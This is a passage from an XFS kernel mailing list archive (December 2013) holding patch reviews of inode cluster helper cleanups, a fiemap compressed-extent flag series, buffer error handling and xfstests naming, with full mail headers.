<20131212221042.GG10988@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 4/8] xfs: introduce a common helper xfs_icluster_size_fsb References: <52A967F5.6030005@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A967F5.6030005@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386886243 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143050 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 03:38:29PM +0800, Jeff Liu wrote: > From: Jie Liu > > Introduce a common routine xfs_icluster_size_fsb() to calculate > and return the number of file system blocks per inode cluster. > > Signed-off-by: Jie Liu Easy one. ;) Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 16:18:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4579D7F37 for ; Thu, 12 Dec 2013 16:18:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C4D10AC005 for ; Thu, 12 Dec 2013 14:18:30 -0800 (PST) X-ASG-Debug-ID: 1386886708-04cb6c537c6e5660001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id x65O0JFYqxVkzu73 for ; Thu, 12 Dec 2013 14:18:28 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HAO00qlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHRd0giUBAQU6HCMQCAMVAwklDwUlAyETiAPDJRcWjn4HhDUEmBSKTIdJgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 08:48:28 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrEaQ-0002pl-2s; Fri, 13 Dec 2013 09:18:26 +1100 Date: Fri, 13 Dec 2013 09:18:26 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 5/8] xfs: use xfs_icluster_size_fsb in xfs_bulkstat Message-ID: <20131212221826.GH10988@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 5/8] xfs: use xfs_icluster_size_fsb in xfs_bulkstat References: <52A96800.5080706@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A96800.5080706@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386886708 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143050 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 03:38:40PM +0800, Jeff Liu wrote: > From: Jie Liu > > Use xfs_icluster_size_fsb() in xfs_bulkstat(), make the related > variables more meaningful and remove an unused variable nimask > from it. > > Signed-off-by: Jie Liu Looks fine. Reviewed-by: Dave Chinner At some point we need to factor this code a bit to get rid of the levels of indenting it has..... > @@ -390,12 +386,12 @@ xfs_bulkstat( > agbno = XFS_AGINO_TO_AGBNO(mp, r.ir_startino); > for (chunkidx = 0; > chunkidx < XFS_INODES_PER_CHUNK; > - chunkidx += nicluster, > - agbno += nbcluster) { > - if (xfs_inobt_maskn(chunkidx, nicluster) > - & ~r.ir_free) > + chunkidx += inodes_per_cluster, > + agbno += blks_per_cluster) { > + if (xfs_inobt_maskn(chunkidx, > + inodes_per_cluster) & ~r.ir_free) > xfs_btree_reada_bufs(mp, agno, > - agbno, nbcluster, > + agbno, blks_per_cluster, > &xfs_inode_buf_ops); > } > blk_finish_plug(&plug); e.g. this readahead loop could be factored into static void xfs_ichunk_ra( *mp, *rec, inodes_per_cluster, blks_per_cluster) { blk_start_plug(&plug); agbno = XFS_AGINO_TO_AGBNO(mp, r.ir_startino); for (chunkidx = 0; chunkidx < XFS_INODES_PER_CHUNK; chunkidx += inodes_per_cluster, agbno += blks_per_cluster) { if (xfs_inobt_maskn(chunkidx, inodes_per_cluster) & ~r.ir_free) xfs_btree_reada_bufs(mp, agno, agbno, blks_per_cluster, &xfs_inode_buf_ops); } blk_finish_plug(&plug); } Doing this to all the separate parts of the bulkstat code would make it an awful lot easier to read and modify in future.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 16:19:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C678B7F37 for ; Thu, 12 Dec 2013 16:19:57 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B19E18F8049 for ; Thu, 12 Dec 2013 14:19:57 -0800 (PST) X-ASG-Debug-ID: 1386886795-04cb6c537c6e56f0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id MIfoASiWRrPI1Fdp for ; Thu, 12 Dec 2013 14:19:56 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HAEU2qlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHRd0giUBAQUnExwjEAgDGAklDwUlAyETiAPDJBcWjn4HhDUEmBSSFYFrgVIo Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 08:49:55 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrEbo-0002px-0q; Fri, 13 Dec 2013 09:19:52 +1100 Date: Fri, 13 Dec 2013 09:19:52 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 0/8] xfs: Introduce a common helper to calculate the number of blocks per cluster Message-ID: <20131212221951.GI10988@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 0/8] xfs: Introduce a common helper to calculate the number of blocks per cluster References: <52A967C6.1050303@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A967C6.1050303@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386886795 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143050 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 03:37:42PM +0800, Jeff Liu wrote: > Hi Folks, > > Here is the v2 patch series to introduce a common helper which could be used > to calculate the number of file system blocks in an inode cluster. > > v2->v1: > * Rename xfs_ialloc_blks_per_cluster() to xfs_icluster_size_fsb() as per dave's > suggestion. > * Remove three macros XFS_IALLOC_INODES/XFS_INODE_CLUSTER_SIZE/XFS_IALLOC_BLOCKS > separately as preparation steps. > * s/ninodes/inodes_per_cluster/g, as the later is more meaningful. > * Remove wrong commit notes I previously written for using xfs_ialloc_blks_per_cluster > in xfs_imap(). All looks good, Jeff. Nice work, and thanks for adding all the extra cleanups to it :) Cheers, Dave. -- Dave Chinner david@fromorbit.com From adilger@dilger.ca Thu Dec 12 16:22:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 282F27F3F for ; Thu, 12 Dec 2013 16:22:28 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DD2258F8052 for ; Thu, 12 Dec 2013 14:22:27 -0800 (PST) X-ASG-Debug-ID: 1386886946-04bdf013221f3b20001-NocioJ Received: from mail-pb0-f44.google.com (mail-pb0-f44.google.com [209.85.160.44]) by cuda.sgi.com with ESMTP id HNm3Cp8uoITMlk5m (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 12 Dec 2013 14:22:26 -0800 (PST) X-Barracuda-Envelope-From: adilger@dilger.ca X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.44 Received: by mail-pb0-f44.google.com with SMTP id rq2so1310554pbb.31 for ; Thu, 12 Dec 2013 14:22:26 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:message-id:references:to; bh=UdxTeWhd3LTVB0PJdAVB3/EXkRyqfvROzyRDdZsbqGg=; b=JPZu19ZAKQF5NG6XXcO6vSjanZdesjIaw1cjnHndf7ewxXPcbU3/hXc3OK+o6AI0B7 ondR9mO/OIRNHSMsRsbpAfDNB031DSK1teXUMfxwyp0qsxHpXv7sUSRFJgFW3o4YrZhz l9KhuswAc1elsNK6kTbeie/MVBLW6GaGtgxC9tgt/6p9OK5v+Z5Q5aC0d5bnK0ECtQ1k 6TQqflB9skaC+27NFnfb28en2wE46ORzJmVxqnf36lsgST2dgP0PZQkj8jkSm+Y/9XaZ NpKxkqc86o4CLkg6ti1z/4FH1c8oaVDseY67oY/GmP9xvffCekx4Trh3VhYZTrc1aLfX La+Q== X-Barracuda-BBL-IP: nil X-Gm-Message-State: ALoCoQmzEP6x/2chiidYukkDZF6zVcmjw1/1a1g5FNDkQzNlJUYEySAutHA9p4SrZLVcSAiI7uAB X-Received: by 10.68.198.68 with SMTP id ja4mr16091671pbc.24.1386886946038; Thu, 12 Dec 2013 14:22:26 -0800 (PST) Received: from cabot-wlan.adilger.int (S0106002191d9348b.cg.shawcable.net. [96.51.76.157]) by mx.google.com with ESMTPSA id vf7sm42719966pbc.5.2013.12.12.14.22.23 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 12 Dec 2013 14:22:24 -0800 (PST) Content-Type: multipart/signed; boundary="Apple-Mail=_37EDDF86-D75C-4C7B-BD07-C6E3524E7CCC"; protocol="application/pgp-signature"; micalg=pgp-sha1 X-Barracuda-Apparent-Source-IP: 96.51.76.157 Mime-Version: 1.0 (Mac OS X Mail 7.0 \(1822\)) Subject: Re: [PATCH 0/4 v3] fiemap: introduce EXTENT_DATA_COMPRESSED flag From: Andreas Dilger X-ASG-Orig-Subj: Re: [PATCH 0/4 v3] fiemap: introduce EXTENT_DATA_COMPRESSED flag In-Reply-To: Date: Thu, 12 Dec 2013 15:22:20 -0700 Cc: linux-fsdevel , Christoph Hellwig , Mark Fasheh , Alexander Viro , xfs@oss.sgi.com, linux-nilfs@vger.kernel.org, ocfs2-devel@oss.oracle.com, Ext4 Developers List , "linux-btrfs@vger.kernel.org Btrfs" Message-Id: <6CAFB777-F514-4DD9-BD8B-95E7525FD534@dilger.ca> References: To: David Sterba X-Mailer: Apple Mail (2.1822) X-Barracuda-Connect: mail-pb0-f44.google.com[209.85.160.44] X-Barracuda-Start-Time: 1386886946 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143050 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Apple-Mail=_37EDDF86-D75C-4C7B-BD07-C6E3524E7CCC Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii On Dec 12, 2013, at 8:25 AM, David Sterba wrote: > The original FIEMAP patch did not define this bit, btrfs will make use = of > it. The defined constant maintains the same value as originally = proposed. >=20 > Currently, the 'filefrag' utility has no way to recognize and denote a > compressed extent. As implemented in btrfs right now, the compression = step > splits a big extent into smaller chunks and this is reported as a = heavily > fragmented file. Adding the flag to filefrag will at least give some > explanation why, this has been confusing users for some time already. The whole series looks good to me (one minor nit if it needs to be = resubmitted for some reason). You can add my: Reviewed-by: Andreas Dilger > V3: > Based on feedback from Andreas, implement #1 from V2, current users of > fiemap_fill_next_extent (fs/, ext4, gfs2, ocfs2, nilfs2, xfs) updated > accordingly, no functional change. >=20 > V2: > Based on feedback from Andreas, the fiemap_extent is now able to hold = the > physical extent length, to be filled by the filesystem callback. >=20 > The filesystems do not have access to the structure that is passed = back to > userspace and are supposed to call fiemap_fill_next_extent, there's no = direct > way to fill fe_phys_length. There are two ways to pass it: >=20 > 1) extend fiemap_fill_next_extent to take phys_length and update all > users (ext4, gfs2, ocfs2, nilfs2, xfs) >=20 > 2) add new function that takes arguments for all the fiemap_extent = items, > newly added phys_length compared to fiemap_fill_next_extent >=20 > David Sterba (4): > fiemap: fix comment at EXTENT_DATA_ENCRYPTED > fiemap: add EXTENT_DATA_COMPRESSED flag > btrfs: set FIEMAP_EXTENT_DATA_COMPRESSED for compressed extents > Documentation/fiemap: Document the DATA_COMPRESSED flag >=20 > Documentation/filesystems/fiemap.txt | 17 +++++++++++++---- > fs/btrfs/extent_io.c | 9 +++++++-- > fs/ext4/extents.c | 3 ++- > fs/ext4/inline.c | 2 +- > fs/gfs2/inode.c | 2 +- > fs/ioctl.c | 18 ++++++++++++------ > fs/nilfs2/inode.c | 8 +++++--- > fs/ocfs2/extent_map.c | 4 ++-- > fs/xfs/xfs_iops.c | 2 +- > include/linux/fs.h | 2 +- > include/uapi/linux/fiemap.h | 8 ++++++-- > 11 files changed, 51 insertions(+), 24 deletions(-) >=20 > --=20 > 1.7.9 >=20 Cheers, Andreas --Apple-Mail=_37EDDF86-D75C-4C7B-BD07-C6E3524E7CCC Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iQIVAwUBUqo3HHKl2rkXzB/gAQKWWRAAkzM1fzS2F2wXEcHndEmzBZJf9PVrBgsH T47p/DxSVlMzFAu6hVxvJcbl4iDIfzJOXd7e60ptbIKce/IBRQU6Lg0XHISfN/8x EpdiDd8xySqcLuG8JZ66L+/7PSyO2aQYVNJnsNZjxEG7sJylC3NWPhnKZAi775lN gnInYAHsgl2Dvc8NDUylvIcvQHOVkZ/o3cr/m8WPuxNTYGqwpw1HvMwEfqD5pfod 8QQyyqA0AGleubSpE0cB8KvzInBeE0ujw2gt/88mtV4Qd2xjrh3XEKbTI1QLbO1M 9NAXYkjXhHtU7xQNbSaMpVZ77Sv97v3NueDAVnZnvDGob4sjDFwIPokoqUbskLuw CYQKuToqbRWpS/cdX159luWr8cCH5wFTfmkfQJRlsFFKrYU67OFwBO4AZSL+4l9+ NUXlQuMY3Gb+BVV0qq4faw+gWHbhinOYA0TzNxb5uX/nhr8EkbxwBaY1o9Ml+bYO 26g+IERx8WO1+/rvKM5cguPaWHOyppr8ggkkpCSmcGVro9HfagMeqZ+FHpZY7MsW OXmcG7/h85862m0JrJRuZuvwH40PMEkk8Mo74Elr3nBJypcsX/OTZA8yb1d30XTR EbdFbXZTnoqrbOz8hoEcpYzHa7xF2OBti7SNKU01T5D/vJja0jV4ZZCbWbfiaZGX PDICGt1rRxQ= =eiV9 -----END PGP SIGNATURE----- --Apple-Mail=_37EDDF86-D75C-4C7B-BD07-C6E3524E7CCC-- From david@fromorbit.com Thu Dec 12 16:24:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A97917F4E for ; Thu, 12 Dec 2013 16:24:43 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4599FAC002 for ; Thu, 12 Dec 2013 14:24:43 -0800 (PST) X-ASG-Debug-ID: 1386887081-04bdf013221f3bd0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id bGQcIea9g4mao0sy for ; Thu, 12 Dec 2013 14:24:41 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HAHM3qlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHRd0giUBAQU6HCMQCAMOCgklDwUlAyETiAPDIhcWjn4HhDUEmBSSFYM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 08:54:39 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrEgQ-0002qg-5v; Fri, 13 Dec 2013 09:24:38 +1100 Date: Fri, 13 Dec 2013 09:24:38 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. Message-ID: <20131212222438.GJ10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: don't try to mark uncached buffers stale on error. References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-2-git-send-email-david@fromorbit.com> <20131212163629.GA2894@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212163629.GA2894@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386887081 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143050 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 08:36:29AM -0800, Christoph Hellwig wrote: > I really don't like how this makes even more of a mess out of the > already convoluted xfs_bioerror/xfs_bioerror_else maze. Can we > maybe first merge them and document the difference before adding > even more special case branches? > > Also most uses of uncached buffers use xfsbdstrat, where we can do > error handling straight in the caller instead of playing with all > the flags manipulation mess. In all these cases no one but the > caller can find these buffers anyway, so doing all this on an > I/O error is pointless. > > The only buffer where any of this matters is the superblock one, > and given that we re-read it on mount anyway I wonder if we should > just make it a regular buffer again and let all this mess just > disappear. Ok, I agree it is a bit messy, but that code is already pretty ugly. I'd like to get this fix in first, because it's causing oopses in roughly 30% of my local xfstests runs on a couple of VMs, so I'd prefer to get the fix out there now and do the cleanup as a separate patch series. Would that be an acceptible approach to take here from your perspective? Cheers, Dave. -- Dave Chinner david@fromorbit.com From jayr@google.com Thu Dec 12 16:44:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E78157F4E for ; Thu, 12 Dec 2013 16:44:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5FB06AC002 for ; Thu, 12 Dec 2013 14:44:49 -0800 (PST) X-ASG-Debug-ID: 1386888288-04cb6c537c6e5f50001-NocioJ Received: from mail-ie0-f178.google.com (mail-ie0-f178.google.com [209.85.223.178]) by cuda.sgi.com with ESMTP id yXxeTHJox4V0bBbX (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 12 Dec 2013 14:44:48 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.223.178 X-Barracuda-IPDD: Level1 [google.com/209.85.223.178] Received: by mail-ie0-f178.google.com with SMTP id lx4so1664838iec.23 for ; Thu, 12 Dec 2013 14:44:48 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.223.178] X-Barracuda-IPDD: Level1 [google.com/209.85.223.178] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=z8e3DXVGwHoY4LLt29ahX7P9dgoThBhv+K1KegwGy8E=; b=egCs2r7RR6AtUM8ksAq5HVEkAPsGgmcbpEBixvUU7aCYVSZfLaw2bzKeHhmI/7fKrj 9f8RknbpeWCE/10nwqs+TrUkX0PCN0IqWT+Onw8GsXSi7OVS1PLR+njEDgD/orjDdefQ /xJcuDFRLRVM44h6f/6V6F5cbgglt6SLHcE8sMXHdv/LB9+Dvs01Th/QaNVaswUBoQo1 +IdYRLhbIn6xm+xldg4hbzv6JC//St0/Z3zFtzag8h1U3wfEQtiXLuTGCLDXdiKB1dIQ RJveaykRtAT0/M5W1nGCCxseQFl4OkKgmPxf78h5KX14UyJdO6XjTCSg32mz0SaIj+Gu NoWQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=z8e3DXVGwHoY4LLt29ahX7P9dgoThBhv+K1KegwGy8E=; b=Z7gD1bMlpgzvBE7blc/44edw7U9DSkA7fS4FQCMG+/Uu3qqjzdvuUcQMPVwqJuMN/K dC7sxAnU2yWwfokZ3+M0acMxY7+0krsu69qSix1LRu9cMfgn314hBWUL03SZh3swAJZm 6nO7Qbn+9S9YMeUUyqeIe0mgsxjXBzMFVds4SLUsapJid+9jrQsJMlYk3k+son/dvbTw 8YvuCU0wN7pp+RHwRZ9CBrrkIflg7jHY9GvXjf4t69mxUoLQq2B/ZINUSftMGIwdzD0v hSxsrojaAmLjRwjy7PAOx3oVk03Z4YA/BxohryLxsbtxficX5C6nceCshmZehTSnfyEf Mi4A== X-Gm-Message-State: ALoCoQkgHd/ZoDZa5sLafny0uwoPwz6AOEbKPzxDAqNEvWqwzs1xTQPPX3BvjFZXxskO2DLr2Quq4Mawf/+n16VdOW0IKLYRJCA4wdFDk9alrDzzt8E12SqbqBzbgM/jx32kvuApGemD5kRZU63uErnuVGJmvHqnlhmz4j8P3NINwXdcFvpNBt92BCdaGuOY4MxapXi2NwQg MIME-Version: 1.0 X-Received: by 10.43.124.134 with SMTP id go6mr28999icc.84.1386888287883; Thu, 12 Dec 2013 14:44:47 -0800 (PST) Received: by 10.64.138.66 with HTTP; Thu, 12 Dec 2013 14:44:47 -0800 (PST) In-Reply-To: <20131212180144.GB19422@infradead.org> References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-7-git-send-email-jayr@google.com> <20131211074657.GF19248@infradead.org> <20131211224229.GK10988@dastard> <20131212180144.GB19422@infradead.org> Date: Thu, 12 Dec 2013 14:44:47 -0800 Message-ID: Subject: Re: [PATCH 06/10] xfstests: fix generic/225 to check fiemap support From: Junho Ryu X-ASG-Orig-Subj: Re: [PATCH 06/10] xfstests: fix generic/225 to check fiemap support To: Christoph Hellwig Cc: Dave Chinner , Hugh Dickins , tytso@mit.edu, Boris Ranto , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ie0-f178.google.com[209.85.223.178] X-Barracuda-Start-Time: 1386888288 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143050 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2.00 BSF_SC0_MV0249 Custom rule MV0249 >> I'd just rename if _require_fiemap, because we need both xfs_io and >> kernel support for it, and we need xfs_io support to check for >> kernel support.... > > Fine with me. There are 3 more _require_xfs_io_.* functions. I can create another patch if you want these names to be consistent. _require_xfs_io_falloc() _require_xfs_io_falloc_punch() _require_xfs_io_zero() From david@fromorbit.com Thu Dec 12 16:57:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8FF4F7F51 for ; Thu, 12 Dec 2013 16:57:02 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5C08530406A for ; Thu, 12 Dec 2013 14:57:02 -0800 (PST) X-ASG-Debug-ID: 1386889019-04bdf05ced47d20001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id EQmJ0y3aKCjSU7Wy for ; Thu, 12 Dec 2013 14:57:00 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HAHw+qlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHRd0giUBAQU6HCMQCAMOCgklDwUlAyETG4dowxMXFo5+B4Q1BJgUkhWDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 09:26:59 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrFBh-0002th-Fz; Fri, 13 Dec 2013 09:56:57 +1100 Date: Fri, 13 Dec 2013 09:56:57 +1100 From: Dave Chinner To: Christoph Hellwig Cc: Junho Ryu , hughd@google.com, tytso@mit.edu, branto@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. Message-ID: <20131212225657.GK10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. References: 